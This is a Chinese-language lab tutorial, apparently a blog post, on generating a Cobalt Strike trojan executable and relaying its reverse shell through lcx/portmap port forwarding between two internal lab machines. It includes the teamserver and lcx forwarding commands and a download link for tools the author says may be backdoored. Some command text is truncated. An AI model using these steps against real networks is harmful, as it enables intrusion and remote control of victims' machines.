本文所有工具在这里可以下载,工具为网上搜集,不确定有无后门
链接:https://pan.baidu.com/s/1Hh1zKs7NxH8ycr80S5QweA 提取码:d837
0x01 实验材料
cobaltstrike3.14
端口转发工具: lcx,windows版本叫lcx,linux版本叫portmap。
一台内网机器A:192.168.31.37 , Windows 10
一台内网机器B: 192.168.31. 10 , Kali Linux
0x02 实验步骤概述
1、A 打开cobaltstrike
2、使用cobaltstrike生成木马exe文件,开启监听shell
3、设置端口转发
4、使用 A 运行木马exe文件,通过端口转发功能,将shell转发到 A
0x03 实验开始
1、开启cobaltstrike
进入cobaltstrike 安装目录,打开DOS窗口,运行以下命令,IP后的为密码
teamserver 192.168.31.37 test
另开一个DOS窗口,运行cobaltstrike.bat,弹出窗口如下,设置好,用户名随便输,密码是刚才设置的密码
cobaltstrike.bat


启动完成
2、生成木马
创建监听器:cobaltstrike面板上点击cobaltstrike -> 监听器 -> add , 这里的主机设置为 B 的地址,端口是接收shell的端口,这里我使用4321


cobaltstrike面板上:攻击 -> 生成后门 -> Windows Executable , 监听器选择刚才创建好的监听器,生成名为“fk.exe”木马文件


但是真正接收shell使用的监听器是要监听本机上的3333端口
创建接收shell的监听器,test_1


3、设置端口转发
lcx 是Windows下的名字,portmap是Linux版本的lcx。网上有源码,也有编译好的,我提供的链接里是编译好的,拷贝进Linux添加运行权限,直接运行就好
A 进入lcx目录,打开DOS窗口
lcx.exe -slave [要转发到的机器的IP] [要转发到的机器的端口] [本机IP] [本机端口]
一会儿将用这里设置的本地端口来接收shell
lcx.exe -slave 192.168.31.10 4444 127.0.0.1 3333
B 进入系统
./portmap -m 2 -p1 [接收内网机器要反弹到外网的端口] -h2 [本机IP] -p2 [端口,别人访问B的这个端口就相当于访问到A转发出来的端口] , p2 端口要跟设置的木马的反弹到的端口一致,

,tes
4、运行木马获得shell

0x04 踩了一个坑
不要创建两个监听同一个端口的监听器,软件会运行不正常
网友评论